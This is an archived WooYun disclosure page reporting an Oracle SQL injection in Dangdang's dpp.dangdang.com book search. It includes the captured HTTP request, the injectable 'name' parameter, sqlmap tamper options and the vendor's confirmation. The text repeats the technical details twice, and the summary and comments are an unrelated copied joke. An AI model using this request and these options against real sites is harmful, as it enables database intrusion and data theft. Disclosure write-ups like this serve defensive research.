神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

admin
admin
admin
104821
文章
87
评论
2017年4月17日19:37:19评论257 views字数 213阅读0分42秒阅读模式
摘要

2016-04-05： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

漏洞概要 关注数(25) 关注此漏洞

缺陷编号： WooYun-2016-191953

漏洞标题： 神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

相关厂商： 当当网

漏洞作者： 路人甲

提交时间： 2016-04-05 12:14

公开时间： 2016-05-20 14:30

漏洞类型： SQL注射漏洞

危害等级： 中

自评Rank： 5

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 注射技巧

0人收藏

漏洞详情

披露状态：

2016-04-05： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

简要描述：

刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

详细说明：

注入点所在域名：

http://dpp.dangdang.com

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

由于本人手脚爱乱动，所以不小心在搜索框多输入了一个‘，于是悲剧发生了。

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

然后上burp，抓包

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

code 区域 
POST /pc/book/search HTTP/1.1
 Host: dpp.dangdang.com
 Proxy-Connection: keep-alive
 Content-Length: 36
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://dpp.dangdang.com
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2652.2 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
 Referer: http://dpp.dangdang.com/pc/book/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.8
 Cookie: JSESSIONID=12AA3EE893052EA409E1DB067E4D990C
 
 classifyType=1&name=admin*&pageNo=

注入点为：name

然后使用--risk 3 --level 5 --tamper=base64encode,chardoubleencode

能跑出来数据

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

漏洞证明：

注入点所在域名：

http://dpp.dangdang.com

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

由于本人手脚爱乱动，所以不小心在搜索框输入了一个‘，于是悲剧发生了。

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

然后上burp，抓包

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

code 区域 
POST /pc/book/search HTTP/1.1
 Host: dpp.dangdang.com
 Proxy-Connection: keep-alive
 Content-Length: 36
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://dpp.dangdang.com
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2652.2 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
 Referer: http://dpp.dangdang.com/pc/book/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.8
 Cookie: JSESSIONID=12AA3EE893052EA409E1DB067E4D990C
 
 classifyType=1&name=admin*&pageNo=

注入点为：name

然后使用--risk 3 --level 5 --tamper=base64encode,chardoubleencode

能跑出来数据

神器而已之当当网某站Oracle SQL注射漏洞（明显报错）

修复方案：

测试而已。由于本人不会手工 不继续了。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-05 14:26

厂商回复：

感谢对当当安全的支持

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-05 12:17 | 小红猪 ( 普通白帽子 | Rank:341 漏洞数:62 | little red pig!)

    2

    刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

  2. 2016-04-05 12:21 | socket ( 实习白帽子 | Rank:55 漏洞数:21 | )

    2

    刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

  3. 2016-04-05 12:21 | Hax0rs ( 实习白帽子 | Rank:65 漏洞数:13 | Hax0rs)

    2

    刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

  4. 2016-04-05 12:43 | hack雪花 ( 实习白帽子 | Rank:94 漏洞数:23 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    1

    刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

  5. 2016-04-05 12:53 | 泪雨无魂 ( 普通白帽子 | Rank:318 漏洞数:72 | too young too simple)

    1

    刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

  6. 2016-04-05 13:02 | expl0 ( 路人 | Rank:21 漏洞数:3 | 攻城狮)

    1

    刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

  7. 2016-04-05 13:58 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    1

    刚上QQ和附近一女的聊天。问我在干嘛呢，我说在做红烧牛肉。她问就我一个人在家吗，我说是的。她说那我去你家吃牛肉吧，我一听二话没说直接拉黑了、四十多块钱一斤的牛肉你想吃，门都没有！

  8. 2016-05-20 14:43 | 未了 ( 路人 | Rank:2 漏洞数:3 )

    0

    虽说是个笑话，但不知道多少人中枪

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin